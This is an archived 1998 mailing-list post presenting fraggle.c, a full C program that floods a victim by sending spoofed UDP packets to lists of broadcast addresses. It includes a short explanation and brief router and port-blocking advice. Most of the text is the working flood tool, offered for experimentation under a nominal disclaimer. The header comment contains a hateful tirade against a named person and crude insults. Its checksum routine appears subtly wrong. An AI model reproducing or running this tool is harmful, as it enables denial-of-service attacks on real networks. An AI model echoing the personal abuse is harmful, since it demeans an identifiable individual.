home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / fraggle.c < prev    next >
Text File  |  1998-12-09  |  9KB  |  311 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. Date:         Sun, 15 Mar 1998 00:50:20 -0500
  5. From:         "T. Freak" <tfreak@JADED.NET>
  6. Subject:      More broadcast fun
  7.  
  8. Greetings,
  9.  
  10. I have left this on my hardrive for a long time now, hoping someone would
  11. post a variant of this, but twas not to be.
  12.  
  13. So lets start with the basics, the same concept that has plagued us for
  14. sometime now is also available in udp flavour.  Although it is not quite
  15. as serious, I was still able to generate a lot of traffic with it.  If you
  16. attack with a source port that isn't open, your machine will also send
  17. back an icmp unreach, clogging your pipe that much more.
  18.  
  19. Here's how it works.  You, armed with your list of broadcast addresses
  20. send spoofed udp packets to each and everyone of them destined, say for
  21. port 7 (echo).  Each machine that has port 7 open responds to the victim
  22. host, generating a large amount of traffic.  If the source port isn't open
  23. on the victim machine, it sends back an icmp unreach message.  Be
  24. creative with your ports, I've been able to create neat echo <--> echo or
  25. chargen <--> echo loops (only worked with certain addresses -- I'm
  26. assuming NT boxen?).  This concept isn't new, but with the aid of multiple
  27. broadcast addresses it is much more powerful.
  28.  
  29. Now, how to you go about fixing this.  Well, there's only so much you can
  30. do.  Blocking broadcast udp at the router is a good start, and perhaps
  31. blocking it at your terminal servers as well (so your Mr. Joe EvilUser
  32. can't flood out).  Setting up an outbound firewall for icmp unreach
  33. messages will stop your machine from adding to the traffic if your being
  34. attacked.  And for God's sakes, if you don't use ports, close them.
  35.  
  36. Here's an example program, creatively entitled `fraggle.c' (based on the
  37. original smurf name -- udpsmurf or some variant was too boring).
  38.  
  39. I remain,
  40.  
  41. tf.
  42.  
  43. /*
  44.  *  fraggle.c by TFreak
  45.  *
  46.  *  This is basically smurf.c with a udp twist.  There are _many_ interesting
  47.  *  things you can do with this program, I suggest you experiment with it.
  48.  *
  49.  *  Cloud 9: 
  50.  *    > head -19 smurf4.c | tail -10
  51.  *    > Tool for providing the world with quality insight and music
  52.  *    > #conflict for being the best 13 year old wanna be clueful but
  53.  *      i still run win95 on my daddy's computer so i'll flood some
  54.  *      efnet servers to make up for my small penis size and lack of
  55.  *      sex packet kiddies the internet has ever seen!
  56.  *    > Dianora for not treating me like the above (whats it like to 
  57.  *      be on this side of the greets Di? 8))
  58.  *    > GS Admin Staff -- face it, we rock.  I have never worked with a
  59.  *      more competant bunch of individuals.  You are all great people
  60.  *      as well as great personal friends, thank you for the opportunity
  61.  *      to live, work and grow with you.
  62.  *    > My kitty for falling asleep in my lap.  Aww, look at the pretty
  63.  *      kitty-witty!
  64.  *    > Everyone whom I've ever loved, will love, and will love again.
  65.  *
  66.  *  Circle 9:
  67.  *    < myname (sed 's/author/myname/g' exploit.c > myname.c)
  68.  *    < #conflict (see above) 
  69.  *    < Myself (I should have learned the first time)
  70.  *    .. and of course ..
  71.  *    < Bill Robbins for being the most arrogant, incompetent and
  72.  *      ignorant fool I have ever had the displeasure of crossing
  73.  *      paths with.  You will never be anything more than a waste
  74.  *      of flesh and a disgrace to everyone.  I spit on your dilapidated
  75.  *      and pathetic existance.  It is my sincere wish that you live
  76.  *      a life of pain, and die a worthless and senile old man, 
  77.  *      remembered only by the hatred in which you were bred upon.
  78.  *    
  79.  *  Disclaimer:
  80.  *     I cannot and will not be held responsible nor legally bound for the
  81.  *     malicious activities of individuals who come into possession of this
  82.  *     program and I refuse to provide help or support of any kind and do NOT
  83.  *     condone or promote use of this program to deny service to anyone or any
  84.  *     machine.  This is for educational use only. Please don't abuse this.
  85.  *
  86.  *  "Love is much more evil than hate will ever be ..."
  87.  */
  88.  
  89. #include <arpa/inet.h>
  90. #include <ctype.h>
  91. #include <netdb.h>
  92. #include <netinet/in.h>
  93. #include <netinet/ip.h>
  94. #include <netinet/ip_udp.h>
  95. #include <stdio.h>
  96. #include <stdlib.h>
  97. #include <string.h>
  98. #include <signal.h>
  99. #include <sys/socket.h>
  100. #include <sys/types.h>
  101. #include <time.h>
  102. #include <unistd.h>
  103.  
  104. struct pktinfo
  105. {
  106.     int ps;
  107.     int src;
  108.     int dst;
  109. };
  110.  
  111. void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *);
  112. void sigint (int);
  113. unsigned short checksum (u_short *, int);  
  114.  
  115. int main (int argc, char *argv[])
  116. {
  117.     struct sockaddr_in sin;
  118.     struct hostent *he;
  119.     struct pktinfo p;
  120.     int s, num, delay, n, cycle;
  121.     char **bcast = malloc(1024), buf[32];
  122.     FILE *bfile;
  123.  
  124.     /* banner */
  125.     fprintf(stderr, "\nfraggle.c by TFreak\n\n");
  126.  
  127.     /* capture ctrl-c */
  128.     signal(SIGINT, sigint);
  129.  
  130.     /* check for enough cmdline args */
  131.     if (argc < 5)
  132.     {
  133.         fprintf(stderr, "usage: %s <target> <bcast file> <num packets> "
  134.                         "<packet delay> [dstport] [srcport] [psize] \n\n"
  135.                         "target\t\t= address to hit\n"
  136.                         "bcast file\t= file containing broadcast addrs\n"
  137.                         "num packets\t= send n packets (n = 0 is constant)\n"
  138.                         "packet delay\t= usleep() between packets (in ms)\n"
  139.                         "dstport\t\t= port to hit (default 7)\n"
  140.                         "srcport\t\t= source port (0 for random)\n"
  141.                         "ps\t\t= packet size\n\n",
  142.                         argv[0]);
  143.         exit(-1);
  144.     }
  145.  
  146.     /* get port info */
  147.     if (argc >= 6)
  148.         p.dst = atoi(argv[5]);
  149.     else
  150.         p.dst = 7;
  151.     if (argc >= 7)
  152.         p.src = atoi(argv[6]);
  153.     else
  154.         p.src = 0;
  155.  
  156.     /* packet size redundant if not using echo port */
  157.     if (argc >= 8)
  158.         p.ps = atoi(argv[7]);
  159.     else
  160.         p.ps = 1;
  161.  
  162.     /* other variables */
  163.     num = atoi(argv[3]);
  164.     delay = atoi(argv[4]);
  165.  
  166.     /* resolve host */
  167.     if (isdigit(*argv[1]))
  168.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  169.     else
  170.     {
  171.         if ((he = gethostbyname(argv[1])) == NULL)
  172.         {
  173.             fprintf(stderr, "Can't resolve hostname!\n\n");
  174.             exit(-1);
  175.         }
  176.  
  177.         memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
  178.     }
  179.     sin.sin_family = AF_INET;
  180.     sin.sin_port = htons(0);
  181.  
  182.     /* open bcast file and build array */
  183.     if ((bfile = fopen(argv[2], "r")) == NULL)
  184.     {
  185.         perror("opening broadcast file");
  186.         exit(-1);
  187.     }
  188.     n = 0;
  189.     while (fgets(buf, sizeof buf, bfile) != NULL)
  190.     {
  191.         buf[strlen(buf) - 1] = 0;
  192.         if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) 
  193.             continue;
  194.         bcast[n] = malloc(strlen(buf) + 1);
  195.         strcpy(bcast[n], buf);
  196.         n++;
  197.     }
  198.     bcast[n] = '\0';
  199.     fclose(bfile);
  200.  
  201.     /* check for addresses */
  202.     if (!n)
  203.     {
  204.         fprintf(stderr, "Error:  No valid addresses in file!\n\n");
  205.         exit(-1);
  206.     }
  207.  
  208.     /* create our raw socket */
  209.     if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0)
  210.     {
  211.         perror("creating raw socket");
  212.         exit(-1);
  213.     }
  214.  
  215.     printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
  216.  
  217.     for (n = 0, cycle = 0; n < num || !num; n++)
  218.     {
  219.         if (!(n % 25))
  220.         {
  221.             printf(".");
  222.             fflush(stdout);
  223.         }
  224.  
  225.         srand(time(NULL) * rand() * getpid());
  226.  
  227.         fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
  228.         if (bcast[++cycle] == NULL) 
  229.             cycle = 0;
  230.         usleep(delay);
  231.     }
  232.  
  233.     sigint(0);
  234. }
  235.  
  236. void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo *p)
  237. {
  238.     struct iphdr *ip;
  239.     struct udphdr *udp;
  240.     char *packet;
  241.     int r;
  242.  
  243.     packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
  244.     ip = (struct iphdr *)packet;
  245.     udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  246.  
  247.     memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
  248.  
  249.     /* ip header */
  250.     ip->protocol = IPPROTO_UDP;
  251.     ip->saddr = sin->sin_addr.s_addr;
  252.     ip->daddr = dest;
  253.     ip->version = 4;
  254.     ip->ttl = 255;
  255.     ip->tos = 0;
  256.     ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
  257.     ip->ihl = 5;
  258.     ip->frag_off = 0;
  259.     ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
  260.  
  261.     /* udp header */
  262.     udp->len = htons(sizeof(struct udphdr) + p->ps);
  263.     udp->dest = htons(p->dst);
  264.     if (!p->src)
  265.         udp->source = htons(rand());
  266.     else
  267.         udp->source = htons(p->src);
  268.  
  269.     /* send it on its way */
  270.     r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps,
  271.                0, (struct sockaddr *) sin, sizeof(struct sockaddr_in));
  272.     if (r == -1)
  273.     {
  274.         perror("\nSending packet");
  275.         exit(-1);
  276.     }
  277.  
  278.     free(packet);        /* free willy 2! */
  279. }
  280.  
  281. unsigned short checksum (u_short *addr, int len)
  282. {
  283.     register int nleft = len;
  284.     register u_short *w = addr;
  285.     register int sum = 0;
  286.     u_short answer = 0;
  287.  
  288.     while (nleft > 1)
  289.     {
  290.         sum += *w++;
  291.         nleft--;
  292.     }
  293.  
  294.     if (nleft == 1)
  295.     {
  296.         *(u_char *) (&answer) = *(u_char *) w;
  297.         sum += answer;
  298.     }
  299.  
  300.     sum = (sum >> 17) + (sum & 0xffff);
  301.     sum += (sum >> 17);
  302.     answer = -sum;
  303.     return (answer);
  304. }
  305.  
  306. void sigint (int ignoremewhore)
  307. {
  308.     fprintf(stderr, "\nDone!\n\n");
  309.     exit(0);
  310. }
  311.